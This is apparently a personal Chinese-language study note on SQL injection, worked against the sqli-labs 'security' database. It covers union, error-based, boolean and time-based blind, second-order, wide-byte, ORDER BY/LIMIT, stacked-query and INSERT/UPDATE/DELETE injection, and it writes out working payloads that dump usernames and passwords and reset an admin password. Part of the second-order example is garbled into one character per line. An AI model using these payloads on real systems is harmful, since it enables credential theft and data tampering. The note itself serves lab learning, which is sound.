工作之余,温故而知新,复习一下sql注入原理,整理一下笔记~~
知识脑图
sql语句,可控变量 $id
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
注入点发现
1.判断注入点及注入类型 $id=1’ and ‘1’='1,存在字符型sql注入
SELECT * FROM security.users WHERE id='1' and '1'='1' LIMIT 0,1;
2.闭合方式1’#
SELECT * FROM security.users WHERE id='1';#' LIMIT 0,1;
3.oder by(二分法)判断表字段数 1’ order by 3
SELECT * FROM security.users WHERE id='1' order by 3;#' LIMIT 0,1;
4 找显示位 union 联合注入
SELECT * FROM security.users WHERE id='1' union select 1,2,3;#' LIMIT 0,1;
5.收集数据库名、数据库版本号,用户 database(),version(),user()
SELECT * FROM security.users WHERE id='-1' union select 1,database(),3;#' LIMIT 0,1;
注入点利用
联合注入(有显示位)
1、表名 imformation_schaema数据库中tables表中存放整个mysql表结构数据 结果:emails,referers,uagents,users
SELECT * FROM security.users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where TABLE_SCHEMA='security';#' LIMIT 0,1;
2、根据表名users爆字段 column_name 结果:id,username,password
SELECT * FROM security.users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where TABLE_SCHEMA='security' and TABLE_NAME='users';#' LIMIT 0,1;
3、爆users表中的数据,username,password
SELECT * FROM security.users WHERE id='-1' union select 1,group_concat(username),group_concat(password) from security.users ;#' LIMIT 0,1;
显性报错注入(有报错信息)
①updatexml():是更新xml文档的函数。语法updatexml(目标xml文档,xml路径(报错位置),更新的内容),利用xml路径错误爆出我们需要的数据
SELECT * FROM security.users WHERE id='1' and (updatexml(1,concat('~',(select group_concat(username) FROM security.users)),1),'~');#' LIMIT 0,1;
②extractvalue() xml读取函数 extractvalue(xml文件,路径(报错位置))
SELECT * FROM security.users WHERE id='1' and ExtractValue(1,concat('~',(select password from security.users limit 3,1),'~'));#' LIMIT 0,1;
盲注(无回显无报错,响应异常):布尔盲注和时间盲注
1、布尔盲注 ,根据响应是否正常去判断 以获取users表中用户Dumb的password为例子
①获取用户Dumb的password长度 ,用到函数length() 二分法去判断最快 结果为4
SELECT * FROM security.users WHERE id='1' and ((select length(password) from security.users where username='Dumb'))=4;#' LIMIT 0,1;
②利用substr(string,form,len)和asiic(),找出每个字符的acsii码,再通过ascii码找到对应字符结果: 0-127 结果68>D,117>u,109>m,98>b
SELECT * FROM security.users WHERE id='1' and ((select ascii(substr(password,4,1)) from security.users where username='Dumb'))=98;#' LIMIT 0,1;
注意:布尔盲注可以用burp去爆破,每个字符最多127次测试,但现实中不允许我们高频率地尝试,此时我们就可以使用判断大小去缩小范围,二分法
#判断a的大小,已知0<a<127 二分法
def bisetion(a):
h=127
l=0
m=(h+l)//2
while a!=m:
if a>m:
l=m
else:
h=m
m=(h+l)//2
print("l=%d,h=%d"%(l,h))
return m
print(bisetion(14))
2、时间盲注 sleep() 当显示无法判断,可以通过sleep()根据响应时间来判断,利用方式和布尔盲注类似if(?,t,f)
SELECT * FROM security.users WHERE id='1' and 1=if(1=1,sleep(3),1);#' LIMIT 0,1;
其他注入
二次注入
1、插入恶意数据,2、引用而已数据
#例如利用二次注入实现免密码登录admin账户(例子利用点比较牵强,帮助理解使用)
#注册sql:insert into security.users (username,password) values (
u
s
e
r
n
a
m
e
,
username,
username,password),假如管理员账户为admin
#登录sql:select * from security.users where username=
u
s
e
r
n
a
m
e
a
n
d
p
a
s
s
w
o
r
d
=
username and password=
usernameandpassword=password;
#插入恶意数据,注册一个admin’;#的账户,数据库里会插入一个用户admin’;#
insert into security.users (username,password) values ('admin\';#','zxczxc');
#引用恶意数据 任意密码登录admin
select * from security.users where username='admin';#' and password='任意密码';
宽字节注入
#背景:1、web系统对用户输入进行转义addslashes($id),此时’会被转义成’,url编码后就成了%5c%27
#宽字节注入原理,在数据库编码为gbk时,%df%5c会组成一个中文汉字,导致%27单引号逃逸生效
limit 参数可控: limit为优化查询参数,mysql5.7.8之前,limit后面可跟produce analyse()函数所以可配合报错注入
#produce analyse()
#Example:select * from table limit 1,[可控点] 或者select * from table limit [可控点]
SELECT * FROM security.users WHERE id='1' LIMIT 1 procedure analyse(1,extractvalue(1,concat('~',version())));
order by
eg: select * from xxx where … order by [注入点]
1、报错注入
SELECT * FROM security.users order by 1,updatexml(1,concat('~',user()),1);
2、延时注入
SELECT * FROM security.users order by id,if((1=1),sleep(3),1);
堆叠查询:在;后继续构造一条sql语句,使得两条语句一起执行(与联合查询不同)
利用①,增删改
#SELECT * FROM users WHERE id=’$id’;[执行任意sql];#’ LIMIT 0,1;
SELECT * FROM users WHERE id='1';update security.users set password='123123' where username='admin';#' LIMIT 0,1;
利用②查
#有报错 配合报错注入
SELECT * FROM users WHERE id='1';select updatexml(1,concat('~',user()),1);#' LIMIT 0,1;
无报错 盲注
SELECT * FROM users WHERE id='1';select if(1=1,sleep(3),1);
按照sql语句分类
insert 注入
insert into security.users(username, password) values ('$username','$password');
配合报错(有报错信息)
insert into security.users(username, password) values ('xxxx' and updatexml(1,concat('~',user()),1),'');
盲注
insert into security.users(username, password) values ('xxxx' and if(1=1,sleep(3),1),'');
update 类似insert(报错)
update security.users set username='xxxx' and updatexml(1,concat('~',user()),1) where id=1;
delete注入 报错
delete from security.users where id=1 or updatexml(1,concat('~',user()),1)